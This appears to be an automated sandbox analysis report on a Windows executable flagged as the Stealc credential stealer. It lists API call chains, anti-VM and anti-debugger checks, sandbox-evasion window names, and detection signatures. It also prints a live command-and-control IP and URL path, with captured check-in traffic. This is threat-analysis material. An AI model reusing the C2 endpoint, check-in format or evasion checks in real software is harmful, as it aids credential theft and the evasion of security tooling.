Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00094910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00094910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008DA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0008DA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008E430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0008E430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008ED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0008ED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00094570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00094570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0008DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0008BE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00093EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00093EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0008F6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0008F6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_000816D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_000816D0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00081160 GetSystemInfo,ExitProcess,

0_2_00081160

Source: file.exe, file.exe, 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2191696889.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.2191696889.0000000000D95000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2191696889.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.2191696889.0000000000D38000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware}0P
Source: file.exe, 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13539
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13542
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13594
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13554
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13562

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_000845C0 VirtualProtect ?,00000004,00000100,00000000

0_2_000845C0

Source: C:\Users\user\Desktop\file.exe

0_2_00099860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00099750 mov eax, dword ptr fs:[00000030h]

0_2_00099750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00097850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00097850

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6492, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00099600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00099600

Source: file.exe, file.exe, 00000000.00000002.2187552344.000000000046D000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00097B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00096920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_00096920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00097850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00097850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00097A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00097A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2191696889.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2145893741.0000000004A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6492, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.80000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2191696889.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2145893741.0000000004A40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6492, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true		unknown
http://185.215.113.206/e2b1563c6670f193.php	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://185.215.113.206/R	file.exe, 00000000.00000002.2191696889.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.php/	file.exe, 00000000.00000002.2191696889.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.phpLZX	file.exe, 00000000.00000002.2191696889.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/e2b1563c6670f193.php4Z	file.exe, 00000000.00000002.2191696889.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206	file.exe, 00000000.00000002.2191696889.0000000000D1E000.00000004.00000020.00020000.00000000.sdmp	true	unknown
http://185.215.113.206/ws	file.exe, 00000000.00000002.2191696889.0000000000D78000.00000004.00000020.00020000.00000000.sdmp	false	unknown
http://185.215.113.206/g	file.exe, 00000000.00000002.2191696889.0000000000D64000.00000004.00000020.00020000.00000000.sdmp	false	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.206	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543095
Start date and time:	2024-10-27 08:51:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 88
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.206	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.17
	S92Ayq3U9A.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.94776407612308
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'828'352 bytes
MD5:	e1d69985ce8b4cb34d5ceca422eb15c3
SHA1:	9382606ea46d759e13140c55d36ec6078c2186b1
SHA256:	0409e35a5fd1f875e55f4f615cb7e31376177a9e2f06e41209576346e9a4d4f7
SHA512:	22447878f06d5a0a83cd8684ad054aceae932493d7aba289c3e4be708ff4fec615265ef6e3d91ecaff80f24765708584f24ad4b4e51c3b151ace24b33418cb02
SSDEEP:	49152:2Y/wmHJY7yn8yTvzM4XXNrT5+3MRAfcQnwu:2YJJYen8szRXXlT5+3jcQnD
TLSH:	698533937C1203F6C16F71F0A67B0B629B52751D1192756A004661BC0FAB3A679C1EBF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...9$.g...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa94000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x671C2439 [Fri Oct 25 23:05:29 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F25ED3E015Ah
pinsrw mm3, word ptr [ebx], 00h
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F25ED3E2155h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], cl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	ece180ad5498df8aec20378f09f321f5	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29c000	0x200	c7b3ccdb5b3ba5dac8ed84fa9b86dafb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cjjmoofv	0x4fa000	0x199000	0x198400	c70a368a7ae6e6181d46ca7b66e71bba	False	0.9947171138242499	data	7.953081730798391	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pwxczyzg	0x693000	0x1000	0x400	a3f7a67d081755a97a74c9b15ba624ca	False	0.7255859375	data	5.719279495268627	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x694000	0x3000	0x2200	e380c32798e8dca200e7aee39b3ff43c	False	0.07433363970588236	DOS executable (COM)	0.9606074680890394	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-27T08:52:06.786046+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49710	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 08:52:05.558475971 CET	49710	80	192.168.2.6	185.215.113.206
Oct 27, 2024 08:52:05.564167023 CET	80	49710	185.215.113.206	192.168.2.6
Oct 27, 2024 08:52:05.564393044 CET	49710	80	192.168.2.6	185.215.113.206
Oct 27, 2024 08:52:05.565020084 CET	49710	80	192.168.2.6	185.215.113.206
Oct 27, 2024 08:52:05.570303917 CET	80	49710	185.215.113.206	192.168.2.6
Oct 27, 2024 08:52:06.490541935 CET	80	49710	185.215.113.206	192.168.2.6
Oct 27, 2024 08:52:06.490742922 CET	49710	80	192.168.2.6	185.215.113.206
Oct 27, 2024 08:52:06.494079113 CET	49710	80	192.168.2.6	185.215.113.206
Oct 27, 2024 08:52:06.499478102 CET	80	49710	185.215.113.206	192.168.2.6
Oct 27, 2024 08:52:06.785945892 CET	80	49710	185.215.113.206	192.168.2.6
Oct 27, 2024 08:52:06.786046028 CET	49710	80	192.168.2.6	185.215.113.206
Oct 27, 2024 08:52:09.066016912 CET	49710	80	192.168.2.6	185.215.113.206

HTTP Request Dependency Graph

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	185.215.113.206	80	6492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 27, 2024 08:52:05.565020084 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Oct 27, 2024 08:52:06.490541935 CET	203	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 07:52:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 27, 2024 08:52:06.494079113 CET	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGCBAFCFIJJJECBGIIJK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 44 30 33 39 45 34 35 34 36 41 36 38 39 34 36 31 37 39 39 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 42 41 46 43 46 49 4a 4a 4a 45 43 42 47 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="hwid"6D039E4546A6894617998------EGCBAFCFIJJJECBGIIJKContent-Disposition: form-data; name="build"puma------EGCBAFCFIJJJECBGIIJK--
Oct 27, 2024 08:52:06.785945892 CET	210	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 07:52:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	03:52:01
Start date:	27/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x80000
File size:	1'828'352 bytes
MD5 hash:	E1D69985CE8B4CB34D5CECA422EB15C3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2191696889.0000000000D38000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2187372879.0000000000081000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2145893741.0000000004A40000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00099860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,00D31668), ref: 000998A1
GetProcAddress.KERNEL32(76210000,00D317B8), ref: 000998BA
GetProcAddress.KERNEL32(76210000,00D31608), ref: 000998D2
GetProcAddress.KERNEL32(76210000,00D315C0), ref: 000998EA
GetProcAddress.KERNEL32(76210000,00D315F0), ref: 00099903
GetProcAddress.KERNEL32(76210000,00D38AD8), ref: 0009991B
GetProcAddress.KERNEL32(76210000,00D25128), ref: 00099933
GetProcAddress.KERNEL32(76210000,00D24F88), ref: 0009994C
GetProcAddress.KERNEL32(76210000,00D31518), ref: 00099964
GetProcAddress.KERNEL32(76210000,00D31638), ref: 0009997C
GetProcAddress.KERNEL32(76210000,00D31530), ref: 00099995
GetProcAddress.KERNEL32(76210000,00D31650), ref: 000999AD
GetProcAddress.KERNEL32(76210000,00D25048), ref: 000999C5
GetProcAddress.KERNEL32(76210000,00D316C8), ref: 000999DE
GetProcAddress.KERNEL32(76210000,00D31548), ref: 000999F6
GetProcAddress.KERNEL32(76210000,00D252C8), ref: 00099A0E
GetProcAddress.KERNEL32(76210000,00D31590), ref: 00099A27
GetProcAddress.KERNEL32(76210000,00D316E0), ref: 00099A3F
GetProcAddress.KERNEL32(76210000,00D25028), ref: 00099A57
GetProcAddress.KERNEL32(76210000,00D31878), ref: 00099A70
GetProcAddress.KERNEL32(76210000,00D25068), ref: 00099A88
LoadLibraryA.KERNEL32(00D31800,?,00096A00), ref: 00099A9A
LoadLibraryA.KERNEL32(00D317E8,?,00096A00), ref: 00099AAB
LoadLibraryA.KERNEL32(00D31818,?,00096A00), ref: 00099ABD
LoadLibraryA.KERNEL32(00D31860,?,00096A00), ref: 00099ACF
LoadLibraryA.KERNEL32(00D31830,?,00096A00), ref: 00099AE0
GetProcAddress.KERNEL32(75B30000,00D31848), ref: 00099B02
GetProcAddress.KERNEL32(751E0000,00D31890), ref: 00099B23
GetProcAddress.KERNEL32(751E0000,00D318A8), ref: 00099B3B
GetProcAddress.KERNEL32(76910000,00D38FE0), ref: 00099B5D
GetProcAddress.KERNEL32(75670000,00D25288), ref: 00099B7E
GetProcAddress.KERNEL32(77310000,00D38BD8), ref: 00099B9F
